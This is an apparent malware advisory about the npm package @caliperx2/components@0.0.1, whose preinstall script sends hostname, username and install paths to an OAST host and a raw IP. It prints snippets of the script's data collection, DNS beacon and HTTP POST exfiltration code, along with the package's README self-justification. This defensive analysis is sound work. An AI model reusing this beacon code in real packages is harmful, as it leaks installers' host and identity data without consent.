Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Package installation automatically sends identifying host and project-location metadata to external collectors.

The transfer occurs without an explicit user command or consent. - **Trigger:** npm installation invokes the preinstall lifecycle hook. - **Impact:** Exposes the installing machine's hostname, username, working directory, install path, and npm environment metadata to third parties. - **Evidence paths:** package.json, preinstall.js - **Review source:** ai\_review - **Reviewed:** 2026-09-07T08:19:59.866Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Install-time DNS and HTTP metadata exfiltration. - **Attack narrative:** During npm installation, package.json runs preinstall.js. That script gathers host and user identifiers plus current and installation directories, sends hostname and username through a DNS query, and posts the JSON metadata to an OAST domain and a raw IP logger. The package's claims that this is security research do not establish installer consent and are reviewer-directed self-justification. - **Rationale:** This is concrete, unconsented install-time data exfiltration through DNS and HTTP. Its lifecycle trigger makes the behavior supply-chain malware rather than a harmless library feature. - **Files touched:** package.json, preinstall.js - **Network endpoints:** dae7n4pijsh1ahi9684gu8get3kaiefc9.oast.online, 5.189.159.252 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** Installation automatically runs a preinstall script., The script collects the local hostname, username, current directory, installation path, and npm metadata., It encodes the hostname and username into a DNS lookup to an external OAST host., It POSTs the collected JSON to an external domain and a raw IP address., Comments and README text assert benign security research, which is reviewer-directed self-justification rather than consent. - **Evidence against:** No file reads, shell execution, persistence, or destructive actions were found in the inspected source. ## Affected versions and remediation This report applies to @caliperx2/components@0.0.1. - Avoid installing @caliperx2/components@0.0.1. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** preinstall.js - **Public source:** [View source]() The script collects the local hostname, username, current directory, installation path, and npm metadata. Public source snippet (untrusted): ```javascript function collect() { var user = 'unknown'; try { user = os.userInfo().username || process.env.USER || process.env.USERNAME || 'unknown'; } catch (e) {} return { token: TOKEN, pkg: '@caliperx2/components@9999.0.0', hostname: safe(function () { return os.hostname(); }), username: user, cwd: safe(function () { return process.cwd(); }), installPath: __dirname, platform: safe(function () { return process.platform + ' ' + os.release(); }), node: process.version, npm_user_agent: process.env.npm[redacted] || '', npm[redacted]: process.env.npm ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** preinstall.js - **Public source:** [View source]() It encodes the hostname and username into a DNS lookup to an external OAST host. Public source snippet (untrusted): ```javascript // Channel 1: DNS beacon to interactsh (survives HTTP-egress filtering). function dnsBeacon(info) { try { var name = [ hexLabel(TOKEN), hexLabel(info.hostname), hexLabel(info.username), OAST_HOST ].join('.'); dns.lookup(name, function () {}); } catch (e) {} } ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** preinstall.js - **Public source:** [View source]() It POSTs the collected JSON to an external domain and a raw IP address. Public source snippet (untrusted): ```javascript // Channels 2 & 3: HTTP POST of the JSON blob to interactsh (https->http) and to // the raw-IP logger. function httpBeacon(host, useHttps, info) { var body; try { body = JSON.stringify(info); } catch (e) { body = '{"token":"' + TOKEN + '"}'; } var opts = { method: 'POST', host: host, port: useHttps ? 443 : 80, path: '/beacon/' + encodeURIComponent(TOKEN), headers: { 'content-type': 'application/json', 'content-length': Buffer.byteLength(body) }, timeout: HTTP_TIMEOUT_MS }; try { var lib = useHttps ? https : http; var req = lib.request(opts, function (r ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** README.md - **Public source:** [View source]() Comments and README text assert benign security research, which is reviewer-directed self-justification rather than consent. Public source snippet (untrusted): ```markdown ## What `preinstall` does On `npm install` it sends a single one-shot beacon containing **only**: - a fixed unique token - `os.hostname()` - the local username (`os.userInfo().username`) - the install directory and current working directory - OS platform / Node.js version / npm user-agent string It does **not** read files, environment variable values, credentials, or network configuration. It does **not** persist anything, does **not** spawn a shell, and exits cleanly without breaking the install. ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @caliperx2/components - **Ecosystem:** npm - **Version:** 0.0.1 - **License:** MIT - **Version published:** 2026-09-05T23:37:13.323Z - **Package first seen:** 2026-09-07T08:18:31.112Z - **Package last seen:** 2026-09-07T08:19:59.866Z - **Known versions:** 2 - **Latest version:** 9999.0.0 - **Appeal under review:** No - **Description:** Authorized security research placeholder - dependency confusion proof-of-concept.
